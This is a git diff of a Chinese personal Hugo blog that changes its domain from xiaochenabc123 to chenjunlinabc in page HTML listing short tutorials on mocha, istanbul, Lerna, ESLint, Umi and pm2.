0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
 安装
 npm install –global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
-return a+b+c
-}
-module.exports = abc
-demo.test.js
-const demo = require('./demo.js')
-const expect = require('chai').expect
-describe('test', function() {
-it('错误', function() {
-expect(demo(1,3,7)).to.be.equal(11)
-})
-})
-测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(‘chai’).expect
@@ -32,7 +21,7 @@
 –invert ：只执行不符合条件的测试脚本，要搭配–grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 –save-dev
-.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://xiaochenabc123.github.io/posts/114/></a></article><article class=post-entry><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
+.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://chenjunlinabc.github.io/posts/114/></a></article><article class=post-entry><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
 安装
@@ -42,7 +31,7 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage –statement 60 –branch -5 –function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://xiaochenabc123.github.io/posts/113/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
+在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://chenjunlinabc.github.io/posts/113/></a></article><article class=post-entry><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install –global lerna
 新建git仓库（初始化）
@@ -66,7 +55,7 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://xiaochenabc123.github.io/posts/112/></a></article><article class=post-entry><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
+独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://chenjunlinabc.github.io/posts/112/></a></article><article class=post-entry><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint –save-dev
 或者全局安装
@@ -82,7 +71,7 @@
 “off” or 0 ：关闭规则
 “warn” or 1 ：将规则视为一个警告
 “error” or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://xiaochenabc123.github.io/posts/111/></a></article><article class=post-entry><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
+可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://chenjunlinabc.github.io/posts/111/></a></article><article class=post-entry><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本>=10.13
 yarn create @umijs/umi-app
@@ -93,39 +82,15 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-"routes": [
-{
-"path": "/",
-"component": require('@/pages/index').default,
-"exact": true
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-"exact": true
-}
-]
-组件文件放在src\pages下
+"routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/admin", "component": require('@/pages/admin').default, "exact": true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(’@/pages/xxx’)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-"routes": [
-{
-"path": "/",
-"redirect": '/admin',
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-routes: [
-{ path: '/admin/archives', redirect: '/' },
-{ path: '/admin/category', component: 'category' },
-]
-}
-]
-redirect是跳转路由，当访问/的时候，跳转到/admin
+"routes": [ { "path": "/", "redirect": '/admin', },{ "path": "/admin", "component": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://xiaochenabc123.github.io/posts/110/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/8/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/10/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://chenjunlinabc.github.io/posts/110/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/8/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/10/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/pm2/index.html b/posts/pm2/index.html
index effc9c00..8de28ee8 100644
--- a/posts/pm2/index.html
+++ b/posts/pm2/index.html
@@ -23,8 +23,8 @@
 查看全部进程的日志
 pm2 logs
 清空所有日志文件
-pm2 flush"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/pm2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Pm2---node进程管理工具"><meta property="og:description" content="安装pm2
+pm2 flush"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/pm2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Pm2---node进程管理工具"><meta property="og:description" content="安装pm2
 npm install pm2 -g
 执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程
 pm2 start app.js &ndash;watch -i max &ndash;ignore-watch=&ldquo;node_modules&rdquo; &ndash;name demo
@@ -49,7 +49,7 @@
 查看全部进程的日志
 pm2 logs
 清空所有日志文件
-pm2 flush"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/pm2/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-19T20:39:27+08:00"><meta property="article:modified_time" content="2022-04-19T20:39:27+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Pm2---node进程管理工具"><meta name=twitter:description content="安装pm2
+pm2 flush"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/pm2/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-04-19T20:39:27+08:00"><meta property="article:modified_time" content="2022-04-19T20:39:27+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Pm2---node进程管理工具"><meta name=twitter:description content="安装pm2
 npm install pm2 -g
 执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程
 pm2 start app.js &ndash;watch -i max &ndash;ignore-watch=&ldquo;node_modules&rdquo; &ndash;name demo
@@ -74,8 +74,8 @@
 查看全部进程的日志
 pm2 logs
 清空所有日志文件
-pm2 flush"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Pm2---node进程管理工具","item":"https://xiaochenabc123.github.io/posts/pm2/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Pm2---node进程管理工具","name":"简单使用Pm2---node进程管理工具","description":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js \u0026ndash;watch -i max \u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026rdquo; \u0026ndash;name demo\n\u0026ndash;ignore-watch=\u0026ldquo;node_modules\u0026quot;为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n\u0026ndash;name为进程名字\npm2执行npm run dev\npm2 start npm \u0026ndash;watch \u0026ndash; run dev\npm2执行npm run start\npm2 start npm \u0026ndash;name demo \u0026ndash; run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush","keywords":[],"articleBody":"安装pm2\nnpm install pm2 -g\n执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程\npm2 start app.js –watch -i max –ignore-watch=“node_modules” –name demo\n–ignore-watch=“node_modules\"为忽略监听指定的目录或者文件，这里忽略的是node_modules文件夹\n–name为进程名字\npm2执行npm run dev\npm2 start npm –watch – run dev\npm2执行npm run start\npm2 start npm –name demo – run start\n查看PM2中的进程信息\npm2 list\n查看指定进程id的信息\npm2 show 0\n重启指定进程id的进程\npm2 restart 0\n重启全部进程\npm2 restart all\n停止指定进程id的进程\npm2 stop 0\n删除指定进程id的进程\npm2 delete 0\n查看全部进程的日志\npm2 logs\n清空所有日志文件\npm2 flush\n","wordCount":"67","inLanguage":"en","datePublished":"2022-04-19T20:39:27+08:00","dateModified":"2022-04-19T20:39:27+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/pm2/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle 